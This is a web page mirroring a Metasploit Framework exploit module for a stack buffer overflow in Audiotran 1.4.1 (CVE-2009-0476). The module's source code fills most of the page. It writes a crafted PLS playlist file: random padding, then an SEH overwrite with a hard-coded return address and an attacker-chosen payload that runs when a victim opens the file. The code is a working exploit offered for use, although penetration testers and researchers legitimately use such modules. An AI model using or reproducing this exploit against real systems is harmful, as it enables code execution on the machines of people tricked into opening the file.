CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/windows/fileformat/audiotran_pls.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Audiotran 1.4.1 (PLS File) Stack Buffer Overflow',14'Description' => %q{15This module exploits a stack-based buffer overflow in Audiotran 1.4.1.16An attacker must send the file to victim and the victim must open the file.17Alternatively it may be possible to execute code remotely via an embedded18PLS file within a browser, when the PLS extension is registered to Audiotran.19This functionality has not been tested in this module.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Sebastien Duquette',25'dookie',26],27'References' =>28[29[ 'CVE', '2009-0476'],30[ 'OSVDB', '55424'],31[ 'EDB', '11079' ],32],33'Payload' =>34{35'Space' => 6000,36'BadChars' => "\x00\x0a\x3d",37'StackAdjustment' => -3500,38},39'Platform' => 'win',40'Targets' =>41[42[ 'Windows Universal', { 'Ret' => 0x10101A3E } ], #p/p/r in rsaadjd.tmp43],44'Privileged' => false,45'DisclosureDate' => '2010-01-09',46'DefaultTarget' => 0))4748register_options(49[50OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),51])5253end5455def exploit5657sploit = rand_text_alpha_upper(1308)58sploit << generate_seh_payload(target.ret)59sploit << rand_text_alpha_upper(8000)6061print_status("Creating '#{datastore['FILENAME']}' file ...")6263file_create(sploit)6465end66end676869